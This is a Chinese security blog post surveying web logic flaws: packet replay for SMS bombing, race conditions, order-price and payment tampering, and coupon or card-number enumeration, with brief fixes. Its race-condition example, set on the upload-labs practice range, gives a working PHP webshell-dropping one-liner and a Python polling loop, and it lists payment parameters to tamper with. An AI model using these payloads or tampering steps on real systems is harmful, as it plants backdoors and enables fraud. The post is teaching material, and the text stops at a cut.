逻辑漏洞----其他类型

最新推荐文章于 2024-05-13 03:56:42 发布

jjj34

最新推荐文章于 2024-05-13 03:56:42 发布

阅读量1.7k

点赞数 1

分类专栏： web相关文章标签：安全网络 web安全

本文链接：https://blog.csdn.net/qq_44418229/article/details/126067339

版权

web相关专栏收录该内容

21 篇文章 3 订阅

订阅专栏

一.数据包重放和条件竞争

1.数据包重放漏洞

漏洞介绍：通过数据包重放，可以造成短信轰炸，邮件轰炸，重复提交订单等

漏洞原理：后台未进行相关操作和技术导致数据包重放漏洞，如短信验证码，邮件校验，提交订单等功能

修复方案：针对短信和邮箱

构造一个Hashmap<String,short>,存放邮箱或电话号码及对应次数，只要某个邮箱或者电话号码次数够了，就不能继续发送了；或者计算两次发送的时间间隔，时间过短就发送不了

漏洞利用：bp抓包，然后扔到intruder模块一直重放数据包，实现短信轰炸

2.条件竞争漏洞

漏洞介绍：条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时，就可能会出现bug。尤其在当前我们的系统中大量对资源进行共享，如果处理不当的话，就会产生条件竞争漏洞。

简单点说，条件竞争涉及到的是操作系统中所提到的进程或者线程同步的问题，当一个程序的运行的结果依赖于线程的顺序，处理不当就会发生条件竞争

修复：限制同一时间内访问方法的只有单一线程

案例如下：

upload-labs的靶场，第18关

当上传的文件不是.jpg或者.png或者.gif结尾的，就删除文件

思路：写一个生成一句话木马的php文件，然后不停的发送数据包（因为系统删除也是需要时间的）；在发送数据包的同时，不停的去访问这个页面，只要一次访问成功了，就生成了新的一句话木马（不会被删除）

上传的木马生成页面代码如下：

aaa<?php fputs(fopen("aaa.php","w"),'<?php @eval($_POST["aaa"]);?>'); ?>

在shell.php执行后，新建了一个aaa.php文件并写入木马，这样即使shell.php被删除了，aaa.php还留有后门。

发送shell.php可以利用bp的intruder模块

访问shell.php可以利用python来访问

import requests

url = "http://ip:port/shell.php"
while True:
    html=requests.get(url)
    if html.status_code == 200:
        print("yes")
        
    else:
        print("no")

3.订单金额任意修改

很多中小型网站都存在【订单金额任意修改】漏洞。在提交订单的时候抓取数据包或者直接修改前端代码，然后对订单的金额任意修改

常见的参数：rmb，value，amount，cash，fee，money

关于支付的逻辑漏洞这一块还有很多种思路，比如相同价格增加订单数量，相同订单数量减少产品价格，订单价格设定为负数，无限叠加优惠券等等

4.接口无限制枚举

有些关键性的接口因为没有做沿着或者其他预防机制，容易遭到爆破攻击。常见账号爆破，密码爆破，验证码爆破等等。和水平越权有点像

案例：快递公司的优惠券枚举，

优惠券单号就是0000-0000-0000-0000，可以尝试对这个进行爆破

某电商会员卡卡号枚举

爆破成功就出现长度不一样的报文

5.支付漏洞

支付漏洞是高风险漏洞也属于逻辑漏洞，通常是通过纂改价格，数量，状态，接口，用户名等传参，从而造成小钱购买大物，甚至0元购，凡是涉及购买，资金等方面的功能处就有可能存在支付漏洞

商户网站接入支付结果，有两种方式，一种是通过浏览器进行跳转通知，一种是服务器端异步通知

浏览器跳转通知

基于用户访问的浏览器，如果用户在银行页面支付成功后，直接关闭了页面，并未等待银行跳转到支付结果页面，那么商户网站就收不到支付结果的通知，导致支付结果难以处理。而且浏览器端数据很容易被纂改而降低安全性（这种方式数据经过了客户端浏览器，极大的可能性被第三方恶意修改）

过程：用户发起付款，此时，浏览器调用了银行的付款界面，当用户成功付款后，银行向用户返回一个包，用户拿着这个包给商户，商户确认后就购买成功

由于购买成功的包经过了用户，因此很可能被恶意修改

服务器端异步通知

该方式是支付公司服务器后台直接向用户指定的异步通知url发送参数，采用POST或者GET方式。商户网站接受异步参数的url对应的程序中，要对支付公司返回的支付结果进行签名验证，成功后进行支付逻辑处理，如验证金额，订单信息是否与发起支付时一致，验证正常则对订单进行状态处理或为用户进行网站内入账等。

过程：用户发起付款，浏览器调用银行的付款界面，成功付款后，银行直接向商户的后台发送一个验证包，这样不经过用户，较安全。

但是，商户后台需要有一个专门的页面处理这个验证包，还是可能存在伪造的问题。

1.支付三部曲----订购，订单，付款

三个步骤中的随便一个步骤进行修改价格测试，如果前面两步有验证机制，那么你可能在最后一步付款时抓包尝试修改金额，如果没有在最后一步在做好检验，那么问题就会存在，其修改的金额值可以尝试小数目或者尝试负数。

案例1：淘宝网某处存在严重支付漏洞

1.充值前截图